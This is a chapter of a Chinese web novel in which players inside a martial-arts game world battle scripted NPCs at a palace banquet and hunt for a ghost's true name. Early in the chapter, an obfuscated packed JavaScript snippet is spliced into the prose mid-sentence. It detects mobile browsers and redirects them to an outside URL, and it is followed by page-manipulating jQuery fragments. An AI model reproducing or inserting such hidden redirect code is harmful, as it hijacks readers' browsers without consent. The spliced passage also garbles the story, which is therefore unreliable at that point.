这变故突如其来,席中顿时一片哗然,NPC喧嚣起来,师襄抬眼望向弩箭射来的方向。 裴洛川也立刻扭头看去,就见远处的墙头上忽然出现了四个蒙面人,其中两个戴着简单的黑布面具,另外两个却戴着黄鸡大笑的头套,十分惹眼。 站在最前面的黑布面具人身形窈窕,手里拿着一把唐门的弩箭,显然刚刚那一箭就是她射出的,但她背后背着的,却是属于七秀的双剑。 秀秀?不对,不是她,难道是那个恰鸡队的玩家? 裴洛川心里一跳,再看另外三个人,黑布面具二号手中握着的武器看着像是百草卷,而另外两个戴着黄鸡大笑头套的人,一人手持盾刀,一人背负长剑。 这四人,正是放火归来的大战队玩家。 卫山河戴着那滑稽的头套,浑身难受:“这管用么?” “当然管用,不过,不是给这些人看的,是给知道刺虎行动的那些‘自己人’内应看的,毕竟没有刺客会主动暴露身份。”仇非轻轻地甩了甩提着盾刀的手,看着几道朝这边冲过来的身影,那是负责保卫梨园的金吾卫和伺机行动的凌雪阁,“现在,谁也不知道那场火是我们放的了,而这个身份的最终目的又是刺杀安禄山,那么作为刺客,中间无论做出什么出格的事情,在大多数NPC眼中都不算角色崩坏,这就是大战队的便利之处吧……” 她转过头,看了龙池乐一眼。 “我不知道你们在计划什么,就我目前的感觉来说,的确不能让鬼得逞,我们可以合作。”仇非冷冷道,立起盾挡在身前,跃下墙头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691205|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冲向面前的金吾卫,“但如果你在谋划对我的团队不利的事情,那我们的友好关系就到此为止。” “你大可放心,我当然有数!”龙池乐道。虽然两人都带着面罩,但仇非的目光还是让她忍不住心生忌惮,深吸了一口气后,她也朝商陆示意,两人一起加入战局,抬手挡下NPC的攻击,为了保险起见,还顺便大声喊了一句台词:“安禄山,拿命来!” “不对!” 依然站在墙头的卫山河一边催动飞剑,一边观察着脚下的动态,叫道。 “这些NPC不对劲!” 按理说,他们已经这样高调地出现在梨园宴上了,这场宴会应该无论如何也无法继续举办下去才对,但放眼望去,只有他们这一小片范围内骚动不断,而出了这个范围,仅仅几步之遥的那些NPC,就像忽然瞎了一样视他们为无物,继续有说有笑地聊着天,期待着《小破阵乐》的演出。 而那些冲过来阻拦他们的NPC,更是目光呆滞,仿佛被人操纵了一样,死板诡异。 还不止这样,另一边的火势也是越来越大了,他已经能看到梨园墙边的一些花木被吞噬在大火之中,但依旧没有人去救火,更别提帷幕后的贵妃和玄宗,简直就像两尊端坐在那里的泥偶,甚至连安禄山都还稳坐席上,好像没听见这群刺客是冲着自己来的一般。 紧接着,更离奇的一幕出现了—— 被龙池乐用千机弩划破的那面鼓,鼓面竟然自己慢慢地长了回去,漏风的口子缓缓合上,像从来没有受损过一样。 这已经无比怪异了,而那拿着鼓槌的鼓手却视而不见,结实的肌肉上蹦出青筋,鼓槌重重地落了下去。 咚! 这一声嘹亮的鼓点,仿佛敲在了在场每个人的心头。 “不行,这种程度的骚动已经没法阻止它了!”卫山河叫道。 其他人当然也知道,但那些金吾卫似乎源源不断地冲上来,凌雪阁又格外难缠,一时间竟然无法脱身,只能咬牙抵挡。 眼看所有的鼓手都举起鼓槌,忽然,斜刺里飞来两柄弯刀,一前一后,刀光如虹,同时将几口大鼓的前后鼓面全部划破。 陆厌头戴一只草筐,从天而降,接住弯刀的同时顺便一脚踢飞了离他最近的鼓手手中的鼓槌——事态紧急,草筐是从尚食局捡的,倒是挺符合劫镖明教的气质。 另一边,亓秀秀也将头脸包住,轻盈地落了地。她的目标是坐部乐师们的乐器,双剑剑气过处,弦断声如裂帛,一时间响彻被大火染红的夜空! “!!!” 曲小蕨激动得握紧了拳头,看得那叫一个热血沸腾,只恨自己来的时候就是在众目睽睽之下以角色身份入的场,现在没法蒙起脸加入他们大闹一场。 然而,在所有人的注视中,那诡异的一幕又再度发生了: 坏掉的鼓面迅速愈合,被打落鼓槌的鼓手面无表情,手中又多了两只鼓槌,而断掉的琴弦也自己接好了,琴师们面不改色,似乎并没有发觉手中的琴弦断过一般。 很快,不知道从哪里冒出来的金吾卫和凌雪阁们,也扑向了陆厌和亓秀秀。 “这鬼是不是就知道这几个部门啊。”陆厌一边架住金吾卫劈下来的长戟,一边吐槽道,“打来打去都是这几个。” “不难应付,但是数量太多了。”亓秀秀一闪身,躲过凌雪的链刃,“怎么可能一直往外窜人,鬼已经完全不讲逻辑了!” 玩家再怎么说也还是在和平生活中长大的现代人,在面对招式狠辣的NPC时,依然以躲闪为主,尽量避免给NPC造成伤亡,行动上便落了下风,被死死地拖延住了;与此同时,乐师台上,那鼓手再一次举起了鼓槌。 “我知道了!” 龙池乐却看明白了。 “这鬼是将所有的NPC分成了三部分,暂且就叫它们文、武、乐吧,这三部分NPC各司其职,武就是用来对付我们的,只需要不停地进攻,而乐则负责与鬼一起完成表演,无视一切不合理之处,文,就是这些无论发生了什么都只会进行宴会的百官们,他们充当的是观众的角色!只有同时搅浑这三部分,才可能阻止梨园宴的进行!” 曲小蕨的天蛛此刻正扒在龙池乐的小腿上,她也听到了这句话,顺口就转告了裴洛川,二人震撼的同时,心念电转,也反应了过来。 大战队的四人在与代表“武”的NPC交战,陆厌和亓秀秀在干扰“乐”,那能破坏“文”、也就是搅乱观众席秩序的,岂不就是他们这两个也被安排了观众身份的玩家? 难道这种设置也是被浪客行一早安排好的吗? 裴洛川感到一阵心惊。 曲小蕨想得却没他这么多,她死死盯着乐师们的动作,眼看着鼓手又要敲鼓了,而陆亓二人却被几个凌雪阁围住,脱不开身,她心一横,双手忽然向身侧张开。 瞬间,无数天蜈从她的袖口中涌出,百足攒动,飞快地游向了四周的NPC。就听扑通声不断,被天蜈咬住的NPC都纷纷昏厥,倒地不起。 这一片混乱,就像一道道波纹,从梨园宴的正中心不断朝外扩散开来,但天蜈数量毕竟有限,很快,更多NPC就注意到了曲小蕨的动作,朝她看来。 对上NPC们目光的同时,曲小蕨便感觉自己脑袋一炸,她深知OOC的可怕,趁近旁已经没有了醒着的NPC,赶紧对裴洛川道:“蟾噬三秒,等会儿给我个南风!” 随着她话音落地,一只巨大的玉蟾突兀地出现在了长桌上,那些精致的茶杯瓷盘顿时哗啦啦地被推下桌面,碎了一地。在NPC的注视中,那只玉蟾腹部一鼓,大嘴瞬间张开到令人难以置信的程度,往前一倾,将曲小蕨整个吞入腹中,随后呆在那里不动了。 蟾噬的时间只有三秒,而纷纷反应过来的NPC、尤其是金吾卫们,已经朝这边冲了过来,连乐师台上的“师襄”也向这边投来了阴冷的目光,而鼓手的那一槌,更是迟迟没能落下。 看来这一招是奏效的,果然,要阻止梨园宴的进行,“观众”也是非常重要的一环,但裴洛川此时一点也来不及高兴。 南风最长也只有八秒时间,还不能移动,八秒之后,曲小蕨又该怎么办? 电光石火之间,裴洛川不再犹豫,他转头看了一眼另一边还在大打出手的玩家们,一咬牙,心说,就试试那一招吧! 怎么办?怎么办? 三秒时间实在是太短了,躲在玉蟾腹中的曲小蕨还完全没想出应对的办法,便感觉身体一轻,又被抛了出来。暴露在空气中的一瞬间,她反应极快地用双臂遮住自己的头脸,但心里也明白,这根本是无济于事。 然而,下一秒,她感觉自己忽然被什么东西稳稳地接住了,从手臂缝隙中漏进来的光消失了,随后,接住自己的东西开始移动起来。 “我擦。”陆厌一脚踹开一个NPC,转头透过草筐上两道细缝看着那边,“这是好东西啊。” 只见梨园宴上,突兀地出现了一尊屹立在那里的高大机甲,浑身披满金属甲片,在灯火下反射着冷硬的光泽。 它看起来反应似乎有些迟钝,一手托着曲小蕨,站在那里停顿了一会儿,才好似适应了身体一样,突然迈开步子,不管三七二十一,撞进人群里,朝着大火直直地冲去! 天工甲士横冲直撞,那巨大的钢铁身躯在运动中甲片互相摩擦,发出刺耳的咔咔声,每一步下去地面都开始轻微震颤,根本没人敢用肉身上去拦住,相反,所有NPC纷纷向两旁躲避,互相推挤之下,这梨园一角,竟是出现了分海一样的奇观。 这一系列的变故,亓秀秀也看得明明白白,她念头一转,趁机大声叫道:“曲侍郎呢?令千金被抓走了!” 对于角色设定来说,“自己主动逃走”和“被抓走”是两个截然不同的概念,在NPC产生迟疑的一刹那,轰隆一声,天工甲士已经撞碎半面花墙,消失在烈火之中。 “咳……咳……” 曲小蕨躺在天工甲士的手掌心里,火焰被隔绝在甲片外,除了有点灼烫感,并没有烧到她分毫。 她的胸膛剧烈地起伏着,眼睛、口鼻和耳朵里都不断地往外渗出鲜血,但咳着咳着,却是一脸庆幸地傻笑了起来。 “嘿嘿!” 太牛了!我牛,裴洛川牛,秀秀姐也牛! 既干扰了梨园宴,又全身而退了! 几秒后,天工甲士的动作就停了下来,重重地往地上一坐,金属甲片在碰撞中发出咣当一声巨响。 浑身是汗、衣服全都湿透了的裴洛川跳了下来,操纵这机甲的消耗显然很大,他一落地便扶住了天工甲士的手臂,这才勉强站稳,咬着牙将摔到地上的曲小蕨勉力扶了起来:“没事儿吧?等个冷却,我再继续上。” “他们没追!都留在梨园了!”曲小蕨呸了一声,吐出嘴里的余血,伸手在脸上胡乱抹了两把,两道血泪被她抹开,看起来十分渗人,“你还记得刚刚那几个奇怪名字吗?” “罗乔玉,倪莹,宁秀,阮珏,武英。” 裴洛川立刻道:“怎么,这些名字是有什么含义么?” “不知道,但是它肯定不会无缘无故出现的。”曲小蕨咬着手指,“也许有用呢!” 两人此时已经逃出了梨园,因此也并不知道,在裴洛川说出其中某一个名字时,本来闭目端坐在乐师台上的师襄,忽然猛地睁开了眼睛。 她的表情不再平静,取而代之的,是一副可以称得上暴怒的神色,手指用力到微微颤抖,指下按着的弦也不断发出嗡鸣。 58. 第五天·华清宫(五十八) 刹那之间,身在华清宫中的所有玩家,都感到了一阵猛然的心悸。 这心悸来得快去得也快,但那一瞬间的强烈感觉,已经足够玩家们引起警惕。 “怎么回事?” 柳七刀还在朝着梨园狂奔,察觉到这阵心悸的同时,脚步也跟着踉跄了一下,等他站稳了,便面色奇怪地摸了摸自己的心口,那里还揣着从太常库掏出来的名簿。 刚刚那一瞬间,在心脏狂跳的同时,他的胸口好像被烫了一下,但那感觉实在是太微弱了,等柳七刀回过神来,一切又都已恢复正常,好像完全是他的错觉。 谨慎起见,他还是掏出名簿翻了翻,这小册子一点变化都没有,温度也正常,并不像发生了什么异变的样子。柳七刀又把它揣了回去,继续朝梨园的方向赶去。 如果说来时还充满怀疑,那么这回程的一路,柳七刀终于可以确定,除了梨园之外,华清宫里所有的NPC都已经诡异地消失了。之前那场大火,目前依旧没人处理,火越烧越烈,几乎吞噬了半个中区,跑在宫道上,迎面吹来的尽是夹杂着灰烬的热风。 “方叱羽和纪空山肯定已经到了。”他一边跑,一边在心里盘算着,“不知道李千驰和尹有攸走到哪儿了,就算是绕路,骑着马应该也快了。” ——为了节省时间,他们五个人干脆兵分三路,疾夜带着方叱羽和体重较轻的纪空山直接飞向梨园,而李千驰则骑着小绿带着尹有攸从东边的开阳门绕过去,剩下的柳七刀,自然是穿过整个中区,从正门抵达梨园。这样的安排,一路上几乎可以掌控大半个华清宫的动向,防止有什么在混乱中被他们遗漏的突发情况。 柳七刀算得不错,李千驰和尹有攸这会儿也逐渐靠近了梨园。 东区这边火势更大,不少亭台楼阁都成了熊熊烈火中逐渐扭曲崩塌的剪影,飞散的花瓣还没等落在水面,就已经被火舌吞噬,化作细小飞灰消失在炽烈的风中。 “看来NPC是真不打算管了……” 李千驰一拉缰绳,看了一眼火势最旺的地方,冲天的浓烟中不断传来沉闷的倒塌声。这座雄伟而壮美的行宫,正在被大火一点点的蚕食,变成一堆焦枯的灰烬,看在眼里,让人不胜唏嘘。 他正打算策马飞跃过零星的火源直奔梨园,背后的尹有攸却忽然出声喊停。 “停一下!那边有动静!” “什么?”李千驰一愣,看了看尹有攸指的方向。那是东区靠近梨园门口的地方,因为以温泉水为基底,火势并不算大,但周围的花木已经在熊熊燃烧,一切都被笼在火中,影影绰绰,他倒是没觉得有什么异常。 尹有攸侧耳细听,笃定道:“有打斗的声音。” 他的听力,李千驰还是信得过的,当即便拉紧缰绳,双腿一夹马腹:“走!” 绿螭骢一声嘶鸣,调转方向,马蹄溅起一路水花,高高跃过正倒下来的一棵桃花树,冲进大火之后! 李千驰一手提着长枪,一手拉着缰绳,得意道:“看我这小绿,不比的卢飞越檀溪差吧——” 他话还没说完,看清面前的场景后,却突兀地收了声。 一道劲风掠过耳边,是尹有攸飞身跳下马,转眼间霜月明已经提在手中,一个烟雨行便翻身冲了出去,眨眼间人就加入了战局,一掌将刚刚显露出身形的伏明击退。 “他们来人了!兰瑾,走吧!” 柳秋瑟一个散流霞跳出龙葵沾衣未妨的范围,高声道。 “来得正好……你以为真的想走就走么?”唐逐星端着千机弩冷笑一声,便对殷炽叫道,“留一个!” 离殷炽最近的阿攸面色一变,整个身形顿时就虚幻起来,随着碧蝶飞舞消失在半空中。但两人等的就是化蝶免控结束的那一秒,链刃紧接着孔雀翎齐齐打出,锁链绷紧,将还想逃脱的阿攸死死锁在横云意的十尺距离之内。 看到这一幕,已经和尹有攸拉开距离的伏明表情不变,抬起弯刀挡住两发夺魄箭,目光往旁边扫了一下,出手如电,立刻便将身边一棵正在燃烧的桃树拦腰斩断。 几个人机玩家撤退得十分利落,没有一丝恋战,甚至连一眼也没看向阿攸便径直后退,消失在浓烟之中。高大的桃树砸向薄薄一层温泉水面,枝叶折断发出轰然巨响,青烟顿起,流火夹杂着水雾四处逸散,也遮住了众人的视线。 着火的树枝劈头盖脸地落了下来,殷炽立刻拉紧链刃抽身后退,龙葵也旋身落向后方。阿攸甩脱链刃,还想趁机挣扎,却只听见一声马嘶,下一秒,阿攸只觉得背上一沉,视野中便是一阵天翻地转,一柄长枪同时破空而来,穿过衣角,将她死死地钉在了地上。 她先是愣了一下,反应过来之后,便一阵暴怒: “你!你竟然敢骑马踩我!” 任凭阿攸如何愤怒挣扎,李千驰只是一声不吭地跳下了马,将她从地上提了起来,交到走过来的殷炽手中,眼睛却始终看着另一侧人机玩家消失的方向,此刻,那里只余已经被大火染成一片暗红的深沉夜色。 龙葵收起百草卷,叹了口气,走到他身边,轻轻地拍了拍李千驰的肩膀。 “走吧,我们去梨园。” “刚刚那边是不是有什么动静?” 裴洛川问。 高大桃树倒下发出的巨响,在大火中依然清晰,在另一端的二人也隐隐约约地听到了。 可惜,纵然东区宫中多为铺设在温泉水上的青石步道,但楼阁屋宇一应为木质,仍不可避免地被卷入到这场大火之中来。冬日的冷风又干又急,裹着青烟直上天际,就连远处中区那些高大的宫殿和城楼也隐没在浓烟之中,成了隐约的剪影。别说看清大火的另一边有什么了,仅仅是站在那里,都让人感觉到双眼酸涩肿胀,被风吹来的烟更是呛得人难以呼吸。 “不行不行,实在看不清了。”曲小蕨本来是坐在天工甲士肩膀上的,现在受不了呛鼻的烟雾,已经跳了下来。 烈焰腾腾,在这种情况下,梨园所在的那一片区域,便显得格外奇怪。 这场火本来就是在梨园之外放起来的,按理说,梨园应该首当其冲被大火吞噬,但此刻几乎整个东区都陷入了火海之中,唯独梨园上空干干净净,一丝烟也没有,静谧得像是另外一个世界。 “不但没救火,甚至连NPC都没出现,好像梨园之外的区域都被放弃了,再加上这幅景象,真有种世界末日的感觉。”裴洛川还单手放在机甲身上,随时防备着突发情况,此时不禁感慨道,“欲訇荡潏杳无定,心魂欲摧目欲瞀……” “这种时候就别文艺了!”曲小蕨吐槽道,灵光一闪,又把天蛛放了出来,闭上眼,驱使着它窸窸窣窣爬进了浓烟之中,“先看看里面的情况,等会儿咱们就把脸一蒙直接杀进去,刚刚那么大动静,梨园宴肯定是进行不下去——” 她话还没说完,忽然表情一变,就愣在了原地。 “怎么了?”裴洛川吓了一跳,便见曲小蕨睁开眼,摸了摸自己的心口。 “天蛛没了。”她怔怔道。 那是一种被强行切断联系的感觉,和蛊虫献祭导致的宝宝死亡并不一样。如果用游戏来形容的话,那就是天蛛的这个宝宝位被黑掉了;而在现实之中,就是她和天蛛突兀地失去了联系,仿佛从来没有召唤过它。 但它也只不过刚刚进入到梨园中,曲小蕨甚至没来得及接受到任何有用的信息。 “看来又发生了什么变化。”裴洛川沉声道,虽然目前他们还不知道里面究竟是什么情况,但从天蛛的消失上来看,估计不是什么好事,“剧情没有重启,第五天已经朝着不可预知的方向前进了。” “怎么说?”曲小蕨在小队背包里翻翻找找,只可惜谜语人不是饿了么,并没有常备黄鸡大笑头套,她找了半天,最后也只能遗憾地拿出一卷精制绷带来,“凑合凑合cos一下木乃伊吧,反正脸是一定要在NPC面前挡上的。” “衣服也要换掉,直接穿校服算了。”裴洛川提醒道,“咱们的角色衣服和其他人不一样,独一无二,太容易暴露身份了。” 曲小蕨不无遗憾地看了看他身上的罗裙:“好吧……” 裴洛川无视了她的视线:“还有,一定要弄清楚那些忽然出现的名字是什么情况。” 曲小蕨刚要点头,忽然警觉地转过身去:“有人!” 这次是离他们很近的地方发出的声音了——有人正趟过浅浅的水面向这边过来,听那不断被溅起的水声,来人的速度很快,应该是小跑着过来的。 周围都是浓烟,无法辨别方向,来人更可能是听到了他们的对话之后选择接近。 “咳咳……” 下一刻,柳七刀顶着一张被熏黑的脸,一手护着怀里的名簿,狼狈地躲开一根被烧断砸落的灯柱,跳了出来。 “七刀!” 裴洛川惊喜道,曲小蕨更是直接开心得跳了起来。 之前掩护柳七刀逃出梨园宴之后,对方就一直下落不明,现在再见面,顿时就有一种久别重逢的感觉,他乡遇故知不过如此。 “名字!”柳七刀却满脑子都是刚刚听到的那句话,他顾不上寒暄,急切地冲到裴洛川面前,“你刚刚说,什么忽然出现的名字?” “梨园宴上,小蕨的杯子倒了。”察觉到潜在的重要性,裴洛川也迅速冷静下来进入了状态,言简意赅道,“茶水在桌面上变成了五个人名,分别是……罗乔玉,倪莹,宁秀,阮珏,武英。怎么,你知道和‘名字’有关的情报吗?” 裴洛川每说一个名字,柳七刀的心脏就狂跳一次。他不知道为什么会发生“茶水显灵”这样的事情,但直觉告诉他,有门!裴洛川口中的名字,起码有大半是他觉得熟悉的,很可能就在他怀中的名簿上出现过! 他深吸一口气,等裴洛川讲完,便也简单地将之前纪空山等人的推断告诉了他们:“虽然不知道这五个名字是怎么来的,但是好几个都有点眼熟,这名簿中,好像真的有!” “啪”的一声,柳七刀将四五本名簿甩了出来,全都放在了裴洛川手里。 “全靠你了。”他郑重道,“李千驰说这活儿你能干,再排除一遍吧!我们一定要找到鬼的名字!” “好!就交给我吧!” 裴洛川慎重地点点头,立刻便翻开了名簿。 “他找名字,咱俩去打架,秀秀姐他们都还在打着呢!”曲小蕨在一边也没闲着,还惦记着梨园,“快把你们队那个头套拿出来!” “梨园开打了吗?”柳七刀闻言,反而松了一口气,“太好了,那看来梨园宴没有进行下去。好像是说不能让剧情结束,不然鬼就真的没有拘束了。” “放心,包搞破坏的,我们也立下了汗马功劳呢。”曲小蕨得意道,刚要给柳七刀描述一下惊心动魄的战况,却听到那边裴洛川幽幽开口—— “七刀,你是不是逗我呢。” 他扯了扯嘴角,似乎想笑,但是又笑不出来,声音有一丝微妙的迟疑,表情更是凝重。 “这上边……哪有字啊?” “什么?!” 柳七刀脑袋嗡的一下,冷汗顿时就下来了。他也顾不上别的,劈手夺过来名簿刷刷地翻了几页,果然,先前密密麻麻的蝇头小楷已经全部消失,纸上只留下了模糊不清的墨迹。 消失了。 名簿上所有可能关于鬼的记载,不知道在什么时候,竟然被悄无声息地抹除掉了。 柳七刀不知道的是,不光是他手里的这几本,其他被纪空山、李千驰等人带出来的名簿,那些密密麻麻的记录,在这一刻都已经变成了空白的纸页。 “生平记载”,这是他们目前手头最有用、也是投入最多的线索,现在就这样断掉了。柳七刀感觉脑海里一片空白,他强行深呼吸几下让自己冷静下来,但是手上的力气根本控制不住,书页被他不知不觉间捏得哗哗直响。 “没关系,这起码说明鬼害怕我们发现她真正的名字,所以这条路其实是走得通的。”曲小蕨踮起脚,拍了拍柳七刀的手臂,安慰他,“肯定还有别的方法能确定鬼的名字!” “话虽如此,但我们目前掌握的那五个名字,其实是凭空出现的。”裴洛川提醒道,“我们只有一次指认鬼的机会,如果指认错误的话大家全都会死,还是谨慎一些的好。” 他转向曲小蕨问道:“小蕨你再好好想想,那些名字出现之前有什么异常吗?有没有可能是你触发了什么隐藏条件?” “那时候NPC已经不对劲了,我什么都不敢做,所以肯定不是触发了隐藏条件。”曲小蕨歪着头仔细回忆,“不过……呃,我也知道这很不靠谱,但是从直觉来说,我觉得这个名字的情报是可以相信的。茶水变成名字应该是很惊悚的事情,但是除了一开始把我吓了一跳之外,也没有感觉到什么特别明显的恶意。” 柳七刀已经恢复了平静,他一边不死心地来回翻着确实已经空无一字的名簿,一边在心里思考着曲小蕨的话。单凭直觉判断确实很不靠谱,但是不得不承认的是,在某些关键时刻,直觉就是指向最正确答案的唯一的钥匙,这可是连非姐那种纯理性分析派都不得不承认的。 不过,他努力回想那五个名字,却根本找不到任何的“灵光一现”。 “第五天里应该只有鬼这一个boss,这是可以确定的吧。”裴洛川道,“然后目前这个鬼是附身在师襄身上,对不对?” “是这样。”柳七刀答道。 “那我觉得,那几个突然出现的名字大概是可信的,鬼的名字很可能就在其中。”裴洛川点了点头。 柳七刀诚挚发问:“你是猜的吗?” “别把我和李千驰他们混为一谈,我是有根据的。”裴洛川无语道,“你也看到了梨园宴上‘师襄’的状态,说得简单一点就是目中无人,根本不把我们放在眼里,全身心都在她那个舞台上,哪有闲情逸致分神出来搞假名字迷惑玩家?” 而且,柳七刀刚刚也简单地给他们讲过太常库的事情了,他们在翻找名簿的时候,上面还是有字的,那些字真正消失,是在柳七刀赶回来的途中,很可能……就是那些茶水做的名字出现的时候! 如果说,鬼并不是全知全能的,或者说鬼在专心致志的情况下只能顾及到她所在的区域发生到的事情,那么,鬼很有可能是在这五个名字被提出的时候才意识到自己在名簿上留下了“真名”的痕迹,随即选择出手抹去。这样一来,那他基本就可以确定,这五个名字中确实存在鬼的真名! 但是……这个推论,似乎又和之前自己的结论相悖。 连和小蕨同座的NPC都没注意到茶水的异常,那全身心集中在舞台上的鬼又怎么会发现? 裴洛川紧皱眉头思索着,下一刻,他忽然背后一冷,察觉到了某种异常。 “当心!”他轻喝一声,一把推开身边的曲小蕨。 刹那间,两人之间的地面已经悄无声息地消失,取而代之的,是一片无比眼熟的黑暗,正是那种可以吞噬人的黑洞。只见黑洞仿佛有眼睛一样,随着曲小蕨与裴洛川距离的拉远,精确地一分为二,绕过柳七刀,追逐着两个人的身形而去,而且速度极快,几乎下一秒,便已经蔓延到他们的脚下。 在这种关头,裴洛川反而觉得思维一片清晰,似乎脑子从来没有转得这么快过。 难道,字迹消失的那一瞬间,其实是他和曲小蕨在讨论时念出了名字的时候? 他的视野里,清楚地映出了黑洞绕过了一脸震惊的柳七刀脚下的景象,它是目标明确的,要吞噬的目标仅限于自己和曲小蕨两人,而柳七刀明明站在那里,黑洞却像完全察觉不到一样,忽略了他。 “别说出来!柳七刀!”裴洛川忽然开口大吼道,他从来没用这么大的音量说过话,声音甚至完全盖过了周围大火的噼啪声,“不要说!它会听到!被听到就会被抹去!” “师襄”闭上眼,抬手将滑落鬓边的黑发挽上去。之前那短暂的、暴怒的神色现在已经从她的脸上彻底消失了,取而代之的,是嘴角露出的一丝浅笑。 她轻轻地用小指拨动了怀中的琵琶弦,一下,再一下。 这动作十分轻微,甚至没有发出任何声音,但震动的琵琶弦仿佛在空气中回荡出了看不见的涟漪,迅速地向梨园外蔓延。 “她又在搞什么鬼?!” 亓秀秀敏锐地发现了“师襄”的异动,心头警铃大作。但在连绵不绝的NPC的攻势下,玩家们也渐渐有些疲于应付了,身上多了不少伤痕,根本无法接近最中央的乐师台。 不过,不难看出,鬼甚至懒得浪费时间在NPC的构造上了,那些原本还十分正常的金吾卫们,现在干脆变成了没有五官、面部模糊一片的惊悚形象,但这反而减轻了玩家们“和真人对打”的心理负担,一时间倒是也不落下风。 之前还勉强维持着秩序的梨园宴,现在已经是一片混乱。在因为曲小蕨和裴洛川冲出去之后,那些端坐席中的NPC就像突然活过来的木偶一样,纷纷开始骚动。这样的反应显然是不合鬼的意愿的,“师襄”只是拨了几下弦,NPC们就如同滴进水中的墨一般,消失得无影无踪了。 同样消失的,还有玄宗贵妃安禄山等等一系列重要的人物,到最后,偌大一场梨园宴,竟然只有不停涌出的攻击型NPC和端坐在乐师台正中的“师襄”了。 ——阻止梨园宴顺利进行,玩家们的确成功地做到了。 但为何“师襄”在这种时候、这种情况下,还能笑得出来? 砰! 长 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这场景,让她立刻想到了一条规则。 “——玩家因剧情需要而死,或被NPC杀死,不会真正死亡,而是会被重新分配身份,再度回归游戏。” 这规则应该没有任何玩家会忘记,也正因如此,他们才能完全没有负担地在这里与NPC搏杀。 看着已经砍到眼前的刀刃,仇非目光一凝,从思绪中抽离出来,横过盾刀格挡。她越来越无心恋战了,调转刀背砍晕紧追不休的NPC之后,干脆一脚踢起地上翻倒的长桌,跳了上去,远远望向乐师台上的“师襄”。 “师襄”也注意到了仇非,她目光平静地看了过来,嘴角依然有一丝浅笑,看上去不急不缓。 “……拖延时间。” 仇非喃喃道。 “什么?” 离她最近的卫山河早就注意到了仇非的动作,一直在背后为她掠阵,闻言不由得一愣。 “NPC不想杀死我们,因为我们会重新回归游戏,和他们一样不停歇地战斗,所以只能和我们僵持在这里。”仇非收回目光,快速道,“但从‘鬼’的表现来看,这种僵持就是她希望看到的……可僵持能给她带来什么呢?只有时间在推移……” “火。” 卫山河表情一冷,立刻明白了。 “你是说,她想拖到大火把我们全部烧死?”他道,“的确,被火烧死不是死于NPC之手,不能复活——” 说到这里,卫山河也抬起头,看向周围的滚滚浓烟。 如果不是在浪客行中历练了这么久,生活在现代的他,看到这样大的火,应该会下意识地感到无比的恐惧。但是经历了太多生死边缘的交锋之后,这种和眼前的刀光剑影相比起来并不算那么急迫的危险,在不知不觉中,竟然被渐渐地忽略掉了。 “必须要在梨园也烧起来之前找到鬼的身份!”仇非道,紧皱眉头,少见地感觉到了一筹莫展,“但是这种情况根本就没法脱身……该死,真的被她拖住了!” ——而且,除此之外,仇非心中依然存在着一丝疑虑。 这火是龙池乐放的,一开始的起火点就在梨园外,按理说这么大的火势早就应该连梨园一同吞噬,但目前看来,梨园反而还可能成了华清宫中唯一没烧起来的地方,这根本就不可能,显然背后是鬼在有意控制着。但如果鬼的最终目的是烧死玩家的话,它大可以在梨园宴被迫中止的一瞬间就停止控制火势,何必叫出这么多NPC来缠斗? 拖延时间还有另外的目的吗? 浑圆的血珠在空中落下,透过被染成红色的视野,商陆落下逐云寒蕊,遁入其中隐匿身形。 周围的NPC失去了目标,顿时脚步错乱起来。商陆反手擦了擦额边的汗,即使身在逐云寒蕊之中,也盖不过空气中满溢的焦糊味,他却不得不用力深呼吸了几口,来缓解一刹那的眩晕感。 这种眩晕感有点像没蓝时的感觉,而且不知道是不是因为长时间的战斗,他现在感觉到非常疲倦,连脚步都变得沉重起来,技能的释放也十分缓慢。 这好像有点不正常。 他抬起眼,看向远处还在鏖战的其他人。 梨园目前的景象,说是地狱一样也不为过,浓烟之下是机械的NPC、飞溅的血花、混乱不堪的宴席和满地横倒的人体,玩家们身在其中已经渐渐麻木了,但是肉眼可见的,所有人的动作都在变得迟缓,卫山河似乎在和仇非急促地交流着,他大概是想落个无敌,但直到几秒后,才有莹莹的蓝光落在脚下。 ——看卫山河的表情,也是一瞬间的愣怔,似乎意识到了什么。 商陆观察得细致,但逐云寒蕊的时间却结束了,找到目标的NPC顿时回转脚步,挥动横刀向他砍下。 “小心!” 龙池乐及时赶来,剑尖使力挑开刀锋,锋利的刀刃划破袖口,在商陆举到面前格挡的手臂上留下一道长长的血痕。 “……”商陆刚想跟她说出自己的发现,耳畔却听到了一声清脆的雕鸣。 几个玩家不约而同地抬头看去,就看到夜空中那滚滚的浓烟被撕破了一个缺口,疾夜挥动宽大双翼,箭一般冲破黑烟的包围,几个要冲过来的NPC顿时便被一阵凛冽疾风高高地卷上了天空,紧接着被强大的风压瞬间拍向地面。 方叱羽单手持伞翩然落地,身侧的纪空山也跳了下来,挥动判官笔在半空中迅速写画,黑白棋子炸开之处,NPC纷纷倒地。 “空山!”龙池乐喜上眉梢,扬声叫道,纪空山也看见了她,伸手就从怀中掏出什么东西扔了过来:“接住!” 龙池乐一愣,躲开NPC的攻击一把将那些东西抄在手里,低头一瞥,发现那竟然是几本册子,封面上写的是端正小楷,正是太常寺乐工的档案造册。 她是极聪明的人,立刻便明白了纪空山将这玩意抛给自己的用意,顿时连呼吸也变得急促起来,拿着册子的手也因为激动而微微颤抖。 “这是一部分,还有一半在柳七刀那里!”纪空山叫道。 听到熟悉的名字,仇非眉头一挑。 “看来他们终于找到了决定性的线索……”这可真是这会儿为数不多的好消息了,仇非呼了口气,低头看了一眼紧握着盾刀的手,又转头对卫山河道,“我也开始有那种无力的感觉了,应该不是你的错觉。” 卫山河沉默着点了点头。 “小心!”仇非转过头,朝还在NPC里带着风车大杀四方的方叱羽高声喊道,“梨园现在有点邪门,会让人的身体出现问题!” 听到仇非这样喊,还遥遥端坐在乐师台上的“师襄”又微微地笑了一笑。 她抬起手,看着自己修长的手指,灯火为它镀上了一层莹润的光泽,跃动的火光像跳动的星芒落在她指尖。 